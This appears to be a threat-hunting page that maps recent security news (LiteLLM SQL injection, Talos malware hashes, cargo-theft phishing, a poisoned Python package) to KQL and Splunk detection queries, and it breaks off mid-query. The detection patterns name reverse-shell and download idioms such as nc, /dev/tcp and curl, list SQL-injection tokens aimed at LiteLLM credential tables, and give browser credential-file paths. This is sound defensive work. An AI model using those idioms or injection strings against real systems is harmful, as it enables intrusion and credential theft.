| where (FileName in~ ("vid001.exe", "d4aa3e7010220ad1b458fac17039c274_63_exe.exe", "apq9305.dll", "content.js", "d4aa3e7010220ad1b458fac17039c274_62_exe.exe", "u992574.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Great responsibility, without great power ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("vid001.exe","d4aa3e7010220ad1b458fac17039c274_63_exe.exe","apq9305.dll","content.js","d4aa3e7010220ad1b458fac17039c274_62_exe.exe","u992574.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("vid001.exe","d4aa3e7010220ad1b458fac17039c274_63_exe.exe","apq9305.dll","content.js","d4aa3e7010220ad1b458fac17039c274_62_exe.exe","u992574.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] LiteLLM pre-auth SQL injection via crafted Authorization header (CVE-2026-42208)ExploitationHigh
Hunts in-the-wild exploitation of CVE-2026-42208, a pre-auth SQLi where an attacker injects SQL into the Authorization header of /chat/completions (or any LLM proxy API route) to read/modify litellm_credentials.credential_values and litellm_config tables. First exploitation observed 26 hours after advisory publication; Talos newsletter flagged it as a top weekly headline.
Rationale: Pivots on the very specific pre-auth SQLi vector documented by Sysdig and The Hacker News: the Authorization header on LiteLLM proxy API routes is parsed unsafely, and the attacker-observed payloads target litellm_credentials/litellm_config tables. Searching Web logs for SQLi tokens inside Authorization or request_header against those exact paths is high-fidelity because no legitimate API key contains UNION/OR/--/litellm_credentials. The KQL fallback catches post-exploit RCE-adjacent child processes spawned by the litellm proxy.
Cross-checked against:
• https://thehackernews.com/2026/04/litellm-cve-2026-42208-sql-injection.html
• https://www.sysdig.com/blog/cve-2026-42208-targeted-sql-injection-against-litellms-authentication-path-discovered-36-hours-following-vulnerability-disclosure
• https://ccb.belgium.be/advisories/warning-litellm-pre-auth-sql-injection-cve-2026-42208-patch-immediately
ATT&CKT1190T1212T1552.001
Data sourcesWeb.WebEndpoint.ProcessesNetwork_Traffic.All_Traffic
// Two-prong: (1) inbound HTTP to LiteLLM hosts on port 4000 from non-trusted sources (2) LiteLLM python/uvicorn process anomalies post-request
let litellm_hosts = DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has_any ("litellm","litellm.proxy","litellm-proxy","uvicorn litellm")
| summarize by DeviceId, DeviceName;
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where DeviceId in (litellm_hosts)
| where ActionType == "InboundConnectionAccepted"
| where LocalPort in (4000, 8000, 8080, 443)
| where RemoteIPType !in ("Private","Loopback")
| join kind=leftouter (
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessCommandLine has_any ("litellm","uvicorn")
| where ProcessCommandLine has_any ("sh","bash","curl","wget","python -c","base64 -d","nc ","/dev/tcp")
| project DeviceId, ChildTime=Timestamp, ChildCmd=ProcessCommandLine, ChildName=FileName
) on DeviceId
| where isnotempty(ChildCmd) and datetime_diff('minute', ChildTime, Timestamp) between (0 .. 5)
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, LocalPort, ChildTime, ChildName, ChildCmd
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.http_user_agent) as ua values(Web.src) as src values(Web.dest) as dest values(Web.status) as status from datamodel=Web where (Web.url="*/chat/completions*" OR Web.url="*/v1/chat/completions*" OR Web.url="*/v1/embeddings*" OR Web.url="*/v1/completions*" OR Web.url="*/key/generate*" OR Web.url="*/model/info*") by Web.http_method Web.user Web.dest Web.src | `drop_dm_object_name(Web)` | eval auth_hdr=coalesce('http_header.Authorization','authorization','request_header') | search auth_hdr IN ("*UNION*SELECT*","*' OR *","*--*","*/*!*/*","*sleep(*","*pg_sleep*","*litellm_credentials*","*litellm_config*","*credential_values*","*xp_cmdshell*","*0x*UNION*","*CONVERT(*","*'+OR+'*") | where status<500 | table firstTime lastTime src dest url http_method status auth_hdr ua
Alerts on execution or file-write of any of the six SHA256/MD5 hashes Talos listed as the most prevalent malware files of the week (April 2026), including VID001.exe (Win.Worm.Coinminer), APQ9305.dll, content.js, u992574.dll and two _Exe.exe variants flagged W32.Injector / Win.Dropper.Miner. Pure indicator-of-compromise sweep across endpoint telemetry.
Rationale: Direct hash match on the six SHA256 / six MD5 values published by Talos this week, plus the four distinctive example filenames (VID001.exe, APQ9305.dll, u992574.dll, content.js). Hash and exact-name matches on a curated weekly Talos prevalence list have negligible FP risk. Cross-checked SHA256 90b1456c… against external reporting which links it to ShadowPad/DKnife DLL side-loading delivery, raising the priority for any hit on APQ9305.dll being loaded by a non-system signed binary.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/dknife-linux-toolkit-hijacks-router-traffic-to-spy-deliver-malware/
• https://thehackernews.com/2026/02/china-linked-dknife-aitm-framework.html
• https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59
ATT&CKT1496T1574.002T1059.007
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let badHashes = dynamic(["9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507","96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974","90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59","38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55","a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91","e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba"]);
let badMd5 = dynamic(["2915b3f8b703eb744fc54c81f4a9c67f","aac3165ece2959f39ff98334618d10d9","c2efb2dcacba6d3ccc175b6ce1b7ed0a","41444d7018601b599beac0c60ed1bf83","7bdbd180c081fa63ca94f9c22c457376","dbd8dbecaa80795c135137d69921fdba"]);
let badNames = dynamic(["VID001.exe","APQ9305.dll","u992574.dll","content.js"]);
union
(DeviceProcessEvents
| where Timestamp > ago(14d)
| where SHA256 in (badHashes) or MD5 in (badMd5) or FileName in~ (badNames)
| project Timestamp, DeviceName, AccountName, Source="ProcessExec", FileName, FolderPath, SHA256, MD5, ProcessCommandLine, InitiatingProcessFileName),
(DeviceFileEvents
| where Timestamp > ago(14d)
| where SHA256 in (badHashes) or MD5 in (badMd5) or FileName in~ (badNames)
| project Timestamp, DeviceName, InitiatingProcessAccountName, Source="FileWrite", FileName, FolderPath, SHA256, MD5, ActionType, InitiatingProcessFileName),
(DeviceImageLoadEvents
| where Timestamp > ago(14d)
| where SHA256 in (badHashes) or MD5 in (badMd5) or FileName in~ ("APQ9305.dll","u992574.dll")
| project Timestamp, DeviceName, Source="DllLoad", FileName, FolderPath, SHA256, MD5, InitiatingProcessFileName, InitiatingProcessCommandLine)
| sort by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_name) as process_name from datamodel=Endpoint.Processes where Processes.process_hash IN ("9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507","96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974","90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59","38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55","a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91","e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba","2915b3f8b703eb744fc54c81f4a9c67f","aac3165ece2959f39ff98334618d10d9","c2efb2dcacba6d3ccc175b6ce1b7ed0a","41444d7018601b599beac0c60ed1bf83","7bdbd180c081fa63ca94f9c22c457376","dbd8dbecaa80795c135137d69921fdba") by Processes.dest Processes.user Processes.process_hash | `drop_dm_object_name(Processes)` | append [| tstats summariesonly=t count from datamodel=Endpoint.Filesystem where Filesystem.file_hash IN ("9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507","96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974","90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59","38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55","a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91","e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba") by Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_path Filesystem.file_hash | `drop_dm_object_name(Filesystem)`] | table firstTime lastTime dest user process_name process_hash file_name file_path
2026-04-300 use cases1 technique1 kill-chain phase detected
A Romanian national who led an online swatting ring that targeted more than 75 public officials, multiple journalists, and four religious institutions was sentenced to 4 years in federal prison. [...]
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
2026-04-305 use cases2 techniques4 kill-chain phases detected
The U.S. Federal Bureau of Investigation (FBI) warned the transportation and logistics industry of a sharp rise in cyber-enabled cargo theft, with estimated losses in the United States and Canada reaching nearly $725 million in 2025. [...]
ATT&CKT1190T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Diesel Vortex load-board phishing — typosquat navigation to DAT / Truckstop / Penske / EFS / Timocom lookalikes
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] Diesel Vortex post-phish RMM install on freight/logistics endpoints (ScreenConnect, SimpleHelp, PDQ Connect, N-able, GoTo Resolve)
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts the post-compromise stage of the FBI/Proofpoint-described cargo-theft cluster (Diesel Vortex and adjacent actors) where phishing lures targeting freight brokers and carriers drop a remote monitoring & management agent so operators can pivot into load-board accounts. Looks for first-time installation of the specific RMM binaries Proofpoint named in this campaign on hosts inside transportation/logistics business units.
Rationale: The article cites RMM as the foothold but is vague; Proofpoint's research on the same cargo-theft cluster names the exact RMM products (ScreenConnect, SimpleHelp, PDQ Connect, N-able, GoTo Resolve) and confirms a browser/email-driven download flow — so we ship the named binaries with a parent of browser/email/Temp/Downloads to keep fidelity high.
Cross-checked against:
• https://www.proofpoint.com/us/blog/threat-insight/remote-access-real-cargo-cybercriminals-targeting-trucking-and-logistics
• https://thehackernews.com/2025/11/cybercriminals-exploit-remote.html
• https://www.helpnetsecurity.com/2025/11/04/cybercriminals-logistics-trucking-rmm-tools/
ATT&CKT1219T1566.002
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let rmm_binaries = dynamic(["screenconnect.clientsetup.exe","screenconnect.windowsclient.exe","simplehelpcustomer.exe","remote access.exe","pdqconnectagent.exe","pdqconnectagent-setup.exe","gotoresolve.exe","gotoassist.exe","n-able_take_control_setup.exe","basupsrvc.exe","basupsrvccnfg.exe"]);
DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ (rmm_binaries) or ProcessCommandLine has_any ("ScreenConnect.ClientSetup","SimpleHelpCustomer","PDQConnectAgent","GoToResolve","N-able","Take Control")
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","outlook.exe","explorer.exe","onedrive.exe")
or FolderPath has_any (@"\Downloads\", @"\AppData\Local\Temp\", @"\AppData\Roaming\")
| join kind=leftouter (DeviceInfo | summarize arg_max(Timestamp, OSPlatform, DeviceName) by DeviceId) on DeviceId
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process_name IN ("ScreenConnect.ClientSetup.exe","ScreenConnect.WindowsClient.exe","SimpleHelpCustomer.exe","Remote Access.exe","PDQConnectAgent.exe","PDQConnectAgent-Setup.exe","GoToResolve.exe","GoToAssist.exe","N-able_Take_Control_Setup.exe","BASupSrvc.exe","BASupSrvcCnfg.exe") OR Processes.process IN ("*ScreenConnect.ClientSetup*","*SimpleHelp*Customer*","*PDQConnectAgent*","*GoToResolve*","*N-able*Take*Control*")) by host Processes.user Processes.process Processes.process_name Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | where parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe","outlook.exe","explorer.exe","OneDrive.exe") OR like(process,"%\\Downloads\\%") OR like(process,"%\\AppData\\Local\\Temp\\%") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Diesel Vortex load-board phishing — typosquat navigation to DAT / Truckstop / Penske / EFS / Timocom lookalikesDeliveryMedium
Hunts user navigation or credential submission to the typosquatted lookalike domains used by the Diesel Vortex phishing-as-a-service operation, which spun up 52 domains between Sep 2025 and Feb 2026 impersonating the load-board, fuel-card and TMS portals named by Have I Been Squatted (DAT One/Truckstop, Penske Logistics, Electronic Funds Source, Timocom). Designed to fire on the iframe-loaded 'system' domain pattern even when the visible 'advertise' domain is not yet on a blocklist.
Rationale: Have I Been Squatted's Diesel Vortex report (the source the FBI PSA references) names the impersonated brands — DAT Truckstop/DAT One, Penske Logistics, EFS, Timocom — and describes 52 typosquatted domains, an iframe 'system' domain pattern and Telegram-relayed MFA interception. Pivoting on brand-token typosquats with the legitimate apex domains explicitly excluded converts a vague 'phishing' narrative into a concrete, low-noise hunt.
Cross-checked against:
• https://haveibeensquatted.com/blog/diesel-vortex-inside-the-russian-cybercrime-group-targeting-us-eu-freight
• https://therecord.media/phishing-operation-russia-armenia-targeting-us-european-cargo
• https://cybersecuritynews.com/diesel-vortex-targets-global-logistics-sector/
• https://www.scworld.com/brief/diesel-vortex-phishing-campaign-targets-freight-and-logistics-operators
ATT&CKT1566.002T1583.001T1111
Data sourcesWeb.WebNetwork_Resolution.DNS
let brand_terms = dynamic(["dat-one","datone-","dat-truckstop","truckstop-","-truckstop","penske-","-penske","efs-llc","efsllc-","-efsllc","timocom-","-timocom","loadboard-","-loadboard","ratecon-","-ratecon"]);
let legit = dynamic(["dat.com","truckstop.com","penskelogistics.com","efsllc.com","timocom.com","timocom.de"]);
let hits =
union
(DeviceNetworkEvents
| where Timestamp > ago(30d)
| where ActionType in ("ConnectionSuccess","HttpConnectionInspected","DnsConnectionInspected")
| extend host = tolower(coalesce(RemoteUrl, RemoteIP))
| where host has_any (brand_terms)
| where not(host has_any (legit))
| project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, host, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine),
(UrlClickEvents
| where Timestamp > ago(30d)
| extend host = tolower(tostring(parse_url(Url).Host))
| where host has_any (brand_terms)
| where not(host has_any (legit))
| project Timestamp, DeviceName="", AccountName=AccountUpn, host, RemoteUrl=Url, InitiatingProcessFileName="email-click", InitiatingProcessCommandLine=Url);
hits
| extend brand = case(host has_any ("dat-one","datone","dat-truckstop"),"DAT",
host has "truckstop","Truckstop",
host has "penske","Penske",
host has_any ("efs","electronicfunds"),"EFS",
host has "timocom","Timocom",
"loadboard-generic")
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Hits=count(), Users=make_set(AccountName,25), Processes=make_set(InitiatingProcessFileName,10) by DeviceName, host, brand
| sort by FirstSeen desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.user) as user values(Web.src) as src from datamodel=Web.Web where Web.url IN ("*dat-one*","*datone-*","*dat-truckstop*","*truckstop-*","*-truckstop*","*penske-*","*-penske*","*efs-llc*","*efsllc-*","*-efsllc*","*timocom-*","*-timocom*","*loadboard-*","*-loadboard*","*ratecon-*","*-ratecon*") AND NOT Web.url IN ("*.dat.com*","*.truckstop.com*","*.penskelogistics.com*","*.efsllc.com*","*.timocom.com*") by Web.dest Web.url Web.user Web.http_referrer Web.http_user_agent | `drop_dm_object_name(Web)` | rex field=url "https?://(?<host>[^/]+)" | eval brand=case(match(host,"(?i)dat[-_.]?(one|truck)"),"DAT", match(host,"(?i)truckstop"),"Truckstop", match(host,"(?i)penske"),"Penske", match(host,"(?i)efs[-_.]?llc|electronicfunds"),"EFS", match(host,"(?i)timocom"),"Timocom", true(),"loadboard-generic") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-3014 use cases5 techniques6 kill-chain phases detected
In yet another software supply chain attack, threat actors have managed to compromise the popular Python package Lightning to push two malicious versions to conduct credential theft. According to Aikido Security, OX Security, Socket, and StepSecurity, the two malicious versions are versions 2.6.2 and 2.6.3, both of which were published on April 30, 2026. The campaign is assessed to be an
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1027T1176T1190T1195.002T1486
Click any ATT&CK pill below to open it on the Matrix
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — PyTorch Lightning and Intercom-client Hit in Supply Chain Attacks to Steal Crede
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · [LLM] Malicious 'lightning' / 'intercom-client' install: _runtime/start.py spawns Bun + router_runtime.js
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] Bun runtime contacting AWS IMDS / api.github.com/user from developer endpoint
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement · [LLM] TeamPCP repo poisoning: drop of .claude/router_runtime.js + format-check.yml workflow
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
